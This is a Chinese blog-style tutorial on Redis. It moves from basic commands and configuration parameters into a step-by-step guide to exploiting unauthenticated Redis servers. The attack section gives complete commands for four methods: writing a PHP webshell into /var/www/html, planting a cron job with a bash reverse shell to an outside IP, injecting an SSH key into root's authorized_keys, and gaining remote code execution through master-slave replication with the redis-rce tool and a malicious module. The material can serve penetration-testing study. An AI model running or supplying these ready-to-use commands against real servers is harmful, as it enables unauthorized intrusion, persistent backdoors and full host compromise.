redis相关

发布于:2025-05-13 ⋅ 阅读:(12) ⋅ 点赞:(0)

Redis是用C语言开发的一个开源的高性能键值对(key-value)数据库
1.数据间没有必然的联系
2.内部采用单线程机制工作
3.性能高,支持每秒十几万次的读写操作
4.多数据类型支持:字符串类型(string)、列表类型(list)、散列类型(hash)、集合类型(set)、有序集合类型(sorted_set)
5.持久化支持
Redis的应用场景也非常广泛,如热点新闻、购票抢票、即时信息查询、时效性信息控制、消息队列、分布式锁等等。

默认端口:6379

string类型
添加/修改数据
set key value

config set用于修改redis配置项
config set key value

redis未授权

条件:
● redis未设置密码或配置绕过
● redis服务对外网开放
● 攻击者可直接或间接通过SSRF等方式访问redis
配置项 默认值 危险说明
bind 127.0.0.1 如果被手动改成 0.0.0.0
,将暴露在公网
protected-mode yes 如果绑定了公网 IP 且此项为 no,会允许外部访问
requirepass 无 默认没有认证,任何人可连接 Redis
CONFIG, SAVE 默认开启 可修改配置并持久化数据,配合使用可写入任意系统文件

常用命令
不区分大小写
使用keys *可以列出当前数据库中的所有键;
当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
如果键的值中有空格,需要使用双引号括起来,如"Hello World";
redis-cli -h ip -p 6379 -a passwd # 外部连接,Redis 的连接除了通过指定 IP,也可以通过指定域名
info # 查看相关redis信息
set xx “Hacker” # 设置键xx的值为字符串Hacker
get xx # 获取键xx的内容
INCR score # 使用INCR命令将score的值增加1
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
127.0.0.1:6379> mset k1 v1 k2 v2 k3 v3 #批量设置键值对
OK

127.0.0.1:6379> mget k1 k2 k3 #批量获取键值对
1) “v1”
2) “v2”
3) “v3”

redis配置文件参数
port参数:
格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。

bind参数:
格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.47.173 10.0.0.1,表允许192.168.47.173和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,说白了就是白名单。

save参数:
格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
save 900 1
save 300 10
save 60 10000
表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。

requirepass参数:
格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。

dir参数:
格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。

dbfilename参数:
格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。

config命令:
通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险,所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。

protected-mode参数:
redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。

测试
环境搭建
wget https://download.redis.io/releases/redis-4.0.10.tar.gz
tar -zxvf redis-4.0.10.tar.gz

cd redis-4.0.10/src//然后进入redis的src目录下
然后进行编译安装
make
make install
服务器端(ubuntu:192.168.80.133)安装好redis之后,编辑redis.conf:
● 将bind 127.0.0.1注释
● protected-mode的yes改为no
● daemonize的no改为yes
进入到src目录进行编译:make make install
在src目录,启动redis:./redis-server …/redis.conf
接着攻击机(100.125.70.22)启动redis客户端
./redis-cli -h 192.168.80.133 -p 6379 -a “aaa” --raw
-h:远程连接的主机
-p:远程连接的端口
-a:密码(如果没有密码的话可写可不写)
–raw:解决中文乱码
使用exit或者quit退出连接。
利用
拿到shell的三种方式
● 通过写SSH key
● 通过向web目录写webshell
● 通过写crontab计划任务

写入webshell
当目标开启了web服务器,并且知道web路径时可以使用,并且还需有增删改查权限。
./redis-cli -h 192.168.80.133 -p 6379 --raw

config set dir /var/www/html

config set dbfilename haha.php

set webshell “<?php phpinfo(); ?>”

save

利用计划任务反弹shell
需要目标机器是CentOS才行
● Centos 的定时任务文件在 /var/spool/cron/或/etc/crontab/
● Ubuntu 的定时任务文件在 /var/spool/cron/crontabs/或/etc/crontab/
将任意文件写到/etc/cron.d/*目录下,效果和crontab一样,利用这个目录可以做到不覆盖任何文件的情况下弹shell。
Ubuntu不可以用的原因:
● redis默认写文件为644权限,CentOS的定时任务文件权限644也可以执行,但Ubuntu要求定时任务文件权限是600才能执行
● redis保存RDB会存在乱码,在Ubuntu上会报错,在CentOS上不会
#攻击机开启监听
nc -lvnp 6666

#攻击机再开一个窗口连接redis
./redis-cli -h 192.168.80.133 -p 6379 --raw

#连接redis之后要使用的payload
//设置key
set xxx “\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/81.70.207.140/6666 0>&1\n\n”
/ 设置路径
config set dir /var/spool/cron/
// 设置文件名
config set dbfilename root
// 保存key值到root文件中
save
\n是为了换行,防止crontab语法错误

        • *:cron 定时规则 ,格式:分 时 日 月 星期 命令即每分钟执行一次后面的命令

通过写入SSH公钥进行SSH登录
首先在攻击机端生成公钥,选项都默认保存即可。将生成的key.txt保存下来。
#生成公钥
ssh-keygen -t rsa
#默认生成在/root/.ssh目录下
cd /root/.ssh
#将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)
(echo -e “\n”;cat id_rsa.pub;echo -e “\n”)>key.txt

#将key.txt写入到redis缓冲中(如果是windows可以使用type替换cat)
cat key.txt | redis-cli -h 182.92.8.34 -x set pub
#连接redis
./redis-cli -h 182.92.8.34
#设置目录未/root/.ssh(默认没有,只有建立ssh连接才会生成,因此可以通过定时任务生成一个名为.ssh的目录)
config set dir /root/.ssh
#将文件名设置为authorized_keys
config set dbfilename authorized_keys
#保存
save
然后进行免密连接
ssh -i id_rsa root@182.92.8.34

主从复制
存在于4.x、5.x版本中,Redis提供主从复制模式,使用redis作为主机,其他作为备份机,主从机数据一样,主机只负责写,从机只负责读。
在Redis4.x之后,新增模块功能,通过外部拓展,可以实现在redis中实现一个新的redis命令,通过c编译并加载恶意.so文件,达到代码执行的目的。
利用工具:
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
https://github.com/Ridter/redis-rce
#攻击机先利用RedisModules-ExecuteCommand生成.so文件
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make # 生成module.so
#下载代码执行工具
git clone https://github.com/Ridter/redis-rce
cd redis-rce-master
#将刚才的.so文件复制到当前目录下
cp /root/redis/RedisModules-ExecuteCommand/RedisModules-ExecuteCommand-master/module.so ./

pip install -r requirements.txt

python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

python redis-rce.py -r 182.92.8.34 -p 6379 -L 81.70.207.140 -f module.so
#然后即可代码执行


网站公告

今日签到

点亮在社区的每一天
去签到